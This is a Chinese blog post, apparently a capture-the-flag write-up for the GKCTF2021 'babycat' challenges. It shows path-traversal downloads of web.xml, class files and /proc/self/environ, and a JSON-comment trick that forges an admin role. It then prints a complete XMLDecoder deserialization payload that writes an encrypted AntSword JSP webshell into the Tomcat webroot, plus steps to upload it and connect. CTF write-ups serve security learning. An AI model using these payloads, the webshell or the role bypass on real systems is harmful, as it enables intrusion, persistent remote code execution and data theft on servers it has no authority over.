GKCTF2021-babycat-revenge


GKCTF2021-babycat-revenge

知识点概要:目录遍历、java审计、XMLDecoder反序列化

题目hint:1.你知道注释符吗 2.PrintWriter?

首页

注册页面空白,查看注册页面源码如下

对比登录页面源码

ajax请求逻辑大同小异

登录账号口令随便输入,Burp捕获登录页面请求包如下

捕获注册页面请求包,修改为post方法,数据部分模仿登录请求传参,如下

注册成功,登录,页面如下

ROLE是guest,说明我们是游客权限。有一个上传功能和一个下载功能,上传功能如下,响应提示只允许admin权限上传

下载功能的链接明显有问题,极有可能存在目录遍历

Java Web项目,根据常规目录结构,读取web.xml找servlet接口类文件路径

none
../../WEB-INF/web.xml

都下载下来

none
/home/download?file=../classes/com/web/servlet/registerServlet.class
uploadServlet.class

jadx反编译获得源码,审计uploadServlet.class,用户Role需要是admin才能上传,且文件后缀有白名单,文件内容有黑名单,如下图

那么首要目标是绕过Role需要是admin的验证

registerServlet.class,会对注册时的post参数,即data={"username":"admin","password":"admin"}

\"role\":\"(.*?)\"正则匹配,匹配到"role":"xxx"就会替换成"role":"guest",如果没有role,则设置role为guest,所以必须让while循环里的role有值,使得if条件成立

因为 JSON 中的内联注释来不会影响 JSON 数据解析,所以此处payload如下

none
data={"username":"admin","password":"admin","role":"test","role"/**/:"admin"}
或
data={"username":"admin","password":"admin","role":"admin"/*,"role":"test"*/}

第一个payload在while处匹配到"role":"test",匹配不到"role"/**/:"admin",进到if条件里,替换的是"role":"test",json解析时遇到重复的role键时,会使用最后一个role键值对,最终"role":"admin"

第二个payload在while处匹配到"role":"admin",但第二次while循环匹配到"role":"test"会覆盖掉第一个"role":"admin",进到if条件里,替换的是"role":"test",json解析时,由于"role":"test"被注释,最终"role":"admin"

注册成功,登录后,ROLE显示为admin,如下图

registerServlet.classloginServlet.class中,有从dao导入的包,下载下来审计

none
/home/download?file=../classes/com/web/dao/baseDao.class

com.web.dao.baseDao中,有XMLDecoder()方法,可以尝试将db.xml覆盖为恶意代码后通过登录或注册功能触发XMLDecoder反序列化(追溯调用链,在登录和注册功能代码,都有调用baseDao.getConnection()方法,从而调用getConfig()方法,从而触发XMLDecoder()

读取环境变量CATALINA_HOME ,其值为 /usr/local/tomcat

none
/home/download?file=../../../../../../proc/self/environ

因为上传白名单有xml,题目hint有PrintWriter,所以恶意代码如下。其中CDATA数据块为蚁剑的jsp马

none
<?xml version="1.0" encoding="utf-8"?>
<java class="java.beans.XMLDecoder">
    <object class="java.io.PrintWriter">
        <string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
        <void method="println">
            <string><![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]></string>
        </void>
        <void method="close"/>
    </object>
</java>

上传文件,文件名改为../db/db.xml

退出用户,重新登录一下,以便触发XMLDecoder,然后蚁剑连接

直接读flag文件没有权限,有个readflag文件,执行,成功获取flag

GKCTF2021-babycat

参考GKCTF2021-babycat-revenge,唯一的区别在于uploadServlet.class上传逻辑,此处即使进到if条件里,提示upload failed,依然不影响后续代码执行,也就是实际上依然会被上传

java
if (checkExt(ext) || checkContent(item.getInputStream())) {
	req.setAttribute("error", "upload failed");
	req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
String filePath = uploadPath + File.separator + name + ext;
File storeFile = new File(filePath);
item.write(storeFile);
req.setAttribute("error", "upload success!");

把冰蝎jsp马传到../../static/shell.jsp,连接即可(为什么传到这位置,因为download功能那里的任意文件下载,原始位置就是../../static/cat.gif

参考

https://blog.csdn.net/cjdgg/article/details/121325745

https://codex.lemonprefect.cn/writeups/GKCTF%202021.html#babycat


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
来发评论吧~
Powered By Valine
v1.5.2
  目录